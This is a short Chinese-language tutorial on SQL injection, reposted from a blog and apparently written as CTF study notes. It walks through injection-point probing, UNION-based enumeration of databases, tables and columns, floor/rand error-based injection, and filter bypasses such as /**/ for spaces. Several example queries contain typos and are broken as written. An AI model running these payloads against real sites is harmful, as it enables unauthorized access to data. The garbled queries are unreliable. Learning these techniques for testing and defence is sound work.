首先,先介绍一下 什么是SQL注入?
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
注入过程:
- 使用 ’ 测试是否存在注入点,如果页面显示与之前不同或者报错则存在注入点。(在输入框输入)
- 使用and逻辑语句和’1’='1/‘1’=/2(1=1/1=2)进一步判断是否能够带入sql命令和注入类型。
(被拦截的时候测试有哪些字符会被拦截过滤掉,被过滤掉的命令要记住) - 使用order by N查询列数(方便union注入,报错则不需要)
- 使用select 1,2,…,N查询回显位置(报错则不需要)
- 在带有回显的部分带入注入命令查询信息
- 查询信息可以使用union select concat(database()(数据库名字),user()(当前用户),version()(数据库版本))等
查询顺序
数据库名→表名→列名→数据
格式如下
Union select table_schema form information_schema.table where tables where table_schema=database()数据库名
Union select table_table form information_schema.table where tables where table_schema=database()表名
Union select column_name form information_schema.column where tables where table_name='table_name’列名
Union select 'column_name’form(table_name)数据
floor报错注入
Floor函数是一个下取整函数(即忽略小数部分)
Rand(0)能够产生一个随机数 ((0)可以更稳定的产生一个真随机数,如果不加(0)则可能会出现重复的数,Rand(0)会产生一个0→1的随机小数)
Floor(rand(0)*2)能够产生0或者1的随机二值
Count ()+Group by *会对查询表格归类计数,相同值得列归一后计数加1
Concat()可以将两列值合并为一列Select
查询时应输入 Select count(*),concat(floor(rand(0)*2),version())x from information_schema.tables group by x
当显示出报错的标准语句Duplicate entry ‘1xxx’ for key ‘<group_key>’ mysql>就成功了。(‘1xxx’ / 'xxx1’中的 1 为随机数,xxx为当前使用的数据库名,在报错时随机数肯定为1,不会为0)
实际破解过程中
- 可以用/**/代表空格
- /LIMIT/ 可以控制我们查询当前数据段里的哪一个数据/LIMIT/(0,1)是第一个数据,/LIMIT/(1,1)是第二个数据
- 可以利用burpsuit暴力破解表名,查询一些常见表名:flag,whale,passord,key,aflag……
转载:https://blog.csdn.net/borrrrring/article/details/105100344